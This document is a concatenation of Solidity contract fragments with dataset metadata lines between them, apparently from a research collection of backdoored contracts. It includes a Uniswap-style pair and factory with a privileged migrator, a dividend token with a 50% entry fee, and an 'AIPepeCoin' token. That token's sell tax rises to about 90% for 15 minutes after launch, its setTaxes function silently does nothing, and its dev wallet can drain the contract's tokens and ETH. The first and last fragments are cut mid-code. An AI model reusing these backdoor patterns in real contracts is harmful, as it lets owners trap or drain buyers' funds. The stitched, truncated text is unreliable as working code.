IERC20Uniswap(token0).balanceOf(address(this)); uint balance1 = IERC20Uniswap(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { address migrator = IUniswapV2Factory(factory).migrator(); if (msg.sender == migrator) { liquidity = IMigrator(migrator).desiredLiquidity(); require(liquidity > 0 && liquidity != uint256(-1), "Bad desired liquidity"); } else { require(migrator == address(0), "Must not have migrator"); liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); uint balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20Uniswap(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20Uniswap(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20Uniswap(token0).balanceOf(address(this)), IERC20Uniswap(token1).balanceOf(address(this)), reserve0, reserve1); } } // File: contracts/uniswapv2/UniswapV2Factory.sol contract UniswapV2Factory is IUniswapV2Factory { address public override feeTo; address public override feeToSetter; address public override migrator; mapping(address => mapping(address => address)) public override getPair; address[] public override allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address _feeToSetter) public { feeToSetter = _feeToSetter; } function allPairsLength() external override view returns (uint) { return allPairs.length; } function pairCodeHash() external pure returns (bytes32) { return keccak256(type(UniswapV2Pair).creationCode); } function createPair(address tokenA, address tokenB) external override returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } UniswapV2Pair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address _feeTo) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeTo = _feeTo; } function setMigrator(address _migrator) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); migrator = _migrator; } function setFeeToSetter(address _feeToSetter) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeToSetter = _feeToSetter; } }
172,659
12,196
b3db8b8db5f97a8e4ea58da081664597c96a5256e9d72694b43b294938d5efea
12,761
.sol
Solidity
false
504446259
EthereumContractBackdoor/PiedPiperBackdoor
0088a22f31f0958e614f28a10909c9580f0e70d9
contracts/realworld-contracts/0xacb798d7cc1b5f3672e5a21d6178e739e64dbd39.sol
3,279
11,886
pragma solidity ^0.4.25; contract CryptoMinerTokenAlpha { modifier onlyBagholders { require(myTokens() > 0); _; } modifier onlyStronghands { require(myDividends(true) > 0); _; } event onTokenPurchase(address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy, uint timestamp, uint256 price); event onTokenSell(address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned, uint timestamp, uint256 price); event onReinvestment(address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted); event onWithdraw(address indexed customerAddress, uint256 ethereumWithdrawn); event Transfer(address indexed from, address indexed to, uint256 tokens); string public name = "Crypto Miner Token Alpha"; string public symbol = "CMA"; uint8 constant public decimals = 18; uint8 constant internal entryFee_ = 50; uint8 constant internal transferFee_ = 0; uint8 constant internal exitFee_ = 0; uint8 constant internal refferalFee_ = 33; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2 ** 64; uint256 public stakingRequirement = 50e18; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; uint256 internal tokenSupply_; uint256 internal profitPerShare_; function buy(address _referredBy) public payable returns (uint256) { purchaseTokens(msg.value, _referredBy); } function() payable public { purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); emit onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if (_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); emit onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice()); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if (myDividends(true) > 0) { withdraw(); } uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); emit Transfer(_customerAddress, _toAddress, _taxedTokens); return true; } function totalEthereumBalance() public view returns (uint256) { return this.balance; } function totalSupply() public view returns (uint256) { return tokenSupply_; } function myTokens() public view returns (uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns (uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) public view returns (uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) public view returns (uint256) { return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns (uint256) { // our calculation relies on the token supply, so we need supply. Doh. if (tokenSupply_ == 0) { return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns (uint256) { if (tokenSupply_ == 0) { return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) { address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_); if (_referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (tokenSupply_ > 0) { tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / tokenSupply_); _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice()); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ((SafeMath.sub((sqrt ((_tokenPriceInitial ** 2) + (2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18)) + ((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2)) + (2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_); return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = (SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2) / 1e18); return _etherReceived; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
142,427
12,197
43b13176f922997bcbfc658304350cadf5c9adaa33d37f97da68583c09297bfd
12,243
.sol
Solidity
false
454080957
tintinweb/smart-contract-sanctuary-arbitrum
22f63ccbfcf792323b5e919312e2678851cff29e
contracts/mainnet/f9/F9030Fc968e3874f4212de78Fb82ad1d0B12fe90_AIPepeCoin.sol
3,163
12,074
//SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface ERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address internal owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(msg.sender == owner, "not owner"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to,address referrer, uint deadline) external; } contract AIPepeCoin is ERC20, Ownable { // Events event SetMaxWallet(uint256 maxWalletToken); event SetSwapBackSettings(bool enabled, uint256 swapThreshold); event SetIsFeeExempt(address holder, bool enabled); event SetIsTxLimitExempt(address holder, bool enabled); event StuckBalanceSent(uint256 amountETH, address recipient); // Mappings mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) public isTxLimitExempt; // Token info string constant _name = "AI PEPE"; string constant _symbol = "AIPEPE"; uint8 constant _decimals = 18; uint256 _totalSupply = 42000000000 * (10 ** _decimals); // Max wallet uint256 public _maxWalletSize = (_totalSupply * 1000) / 1000; uint256 public _maxTxSize = (_totalSupply * 1000) / 1000; // Tax amounts uint256 public TreasuryFee = 50; uint256 public LiquidityFee = 50; uint256 public TotalTax = TreasuryFee + LiquidityFee; // Tax wallets address DevWallet; address TreasuryWallet; // Contracts IDEXRouter public router; address public pair; address constant private DEAD = 0x000000000000000000000000000000000000dEaD; bool public swapEnabled = true; uint256 public swapThreshold = _totalSupply * 2 / 10000; bool public isTradingEnabled = false; uint256 public tradingTimestamp; uint256 public cooldown = 900; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor(address _router, address _TreasuryWallet) Ownable(msg.sender) { router = IDEXRouter(_router); _allowances[address(this)][address(router)] = type(uint256).max; address _owner = owner; DevWallet = msg.sender; TreasuryWallet = _TreasuryWallet; isFeeExempt[_owner] = true; isTxLimitExempt[_owner] = true; _balances[msg.sender] = _totalSupply * 100 / 100; emit Transfer(address(0), msg.sender, _totalSupply * 100 / 100); } receive() external payable { } // Basic Internal Functions function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } //////////////////////////////////////////////// function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - (amount); } return _transferFrom(sender, recipient, amount); } function getPair() public onlyOwner { pair = IDEXFactory(router.factory()).getPair(address(this), router.WETH()); if (pair == address(0)) {pair = IDEXFactory(router.factory()).createPair(address(this), router.WETH());} } function setIsTradingEnabled(bool _isTradingEnabled) public onlyOwner { isTradingEnabled = _isTradingEnabled; tradingTimestamp = block.timestamp; } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount);} require(isFeeExempt[sender] || isFeeExempt[recipient] || isTradingEnabled, "trading not live"); if (sender != owner && recipient != owner && recipient != DEAD && recipient != pair && sender != TreasuryWallet) { require(isTxLimitExempt[recipient] || (amount <= _maxTxSize && _balances[recipient] + amount <= _maxWalletSize), "tx limit"); } if(shouldSwapBack()){swapBack();} _balances[sender] = _balances[sender] - amount; uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, recipient, amount); _balances[recipient] = _balances[recipient] + (amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); return true; } // Internal Functions function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function getMult() internal returns(uint256) { return block.timestamp <= tradingTimestamp + cooldown ? 9 : 1; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if (sender != pair && recipient == pair) { feeAmount = amount * (TotalTax * getMult()) / 1000; } else { feeAmount = amount * (TotalTax) / 1000; } if (feeAmount > 0) { _balances[address(this)] = _balances[address(this)] + (feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount - (feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function addLiquidity(uint256 _tokenBalance, uint256 _ETHBalance) private { if(_allowances[address(this)][address(router)] < _tokenBalance){_allowances[address(this)][address(router)] = _tokenBalance;} router.addLiquidityETH{value: _ETHBalance}(address(this), _tokenBalance, 0, 0, DevWallet, block.timestamp + 5 minutes); } function sendFees() internal { (bool success1,) = payable(TreasuryWallet).call{value: address(this).balance, gas: 30000}(""); require(success1, 'failed!'); } function swapBack() internal swapping { uint256 totalTax = TotalTax * getMult(); uint256 amountToLiq = balanceOf(address(this)) * (LiquidityFee) / (2 * totalTax); uint256 amountToSwap = balanceOf(address(this)) - amountToLiq; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap, 0, path, address(this), address(0), block.timestamp); if (amountToLiq > 0) { addLiquidity(amountToLiq, address(this).balance * (LiquidityFee) / (2 * totalTax - LiquidityFee)); } sendFees(); } // Tax and Tx functions function setMax(uint256 _maxWalletSize_, uint256 _maxTxSize_) external onlyOwner { require(_maxWalletSize_ >= _totalSupply / 1000 && _maxTxSize_ >= _totalSupply / 1000, "max"); _maxWalletSize = _maxWalletSize_; _maxTxSize = _maxTxSize_; emit SetMaxWallet(_maxWalletSize); } function setTaxExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; emit SetIsFeeExempt(holder, exempt); } function setTxExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; emit SetIsTxLimitExempt(holder, exempt); } function setTaxes(uint256 _TreasuryFee, uint256 _LiquidityFee) external onlyOwner { uint256 TreasuryFee = _TreasuryFee; uint256 LiquidityFee = _LiquidityFee; uint256 TotalTax = TreasuryFee + LiquidityFee; require(TotalTax <= 495, 'tax too high'); } function setTaxWallets(address _DevWallet, address _TreasuryWallet) external onlyOwner { DevWallet = _DevWallet; TreasuryWallet = _TreasuryWallet; } function getTaxWallets() view public returns(address,address) { return (DevWallet, TreasuryWallet); } function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner { require(_amount >= 1, "zero"); swapEnabled = _enabled; swapThreshold = _amount; emit SetSwapBackSettings(swapEnabled, swapThreshold); } function initSwapBack() public onlyOwner { swapBack(); } function clearContractETH() external { require(DevWallet == msg.sender, 'not dev'); uint256 _ethBal = address(this).balance; if (_ethBal > 0) payable(DevWallet).transfer(_ethBal); } function clearContractTokens(address _token) external { require(DevWallet == msg.sender, 'dev'); ERC20(_token).transfer(DevWallet, ERC20(_token).balanceOf(address(this))); } function getSelfAddress() public view returns(address) { return address(this); } }
39,027
12,198
868eca6c523dc2a518e002d356088f81d87262f99a8c2ffb567b8dfaba237377
20,489
.sol
Solidity
false
360539372
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
1d65472e1c546af6781cb17991843befc635a28e
dataset/dapp_contracts/Utilities/0xea097a2b1db00627b2fa17460ad260c016016977.sol
3,051
11,490
pragma solidity ^0.4.11; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, SafeMath { event Minted(address receiver, uint amount); mapping(address => uint) balances; mapping (address => mapping (address => uint)) allowed; function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract UpgradeAgent { uint public originalSupply; function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } contract UpgradeableToken is StandardToken { address public upgradeMaster; UpgradeAgent public upgradeAgent; uint256 public totalUpgraded; enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} event Upgrade(address indexed _from, address indexed _to, uint256 _value); event UpgradeAgentSet(address agent); function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } function canUpgrade() public constant returns(bool) { return true; } } contract ReleasableToken is ERC20, Ownable { address public releaseAgent; bool public released = false; mapping (address => bool) public transferAgents; modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { releaseAgent = addr; } function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } function releaseTokenTransfer() public onlyReleaseAgent { released = true; } modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } modifier 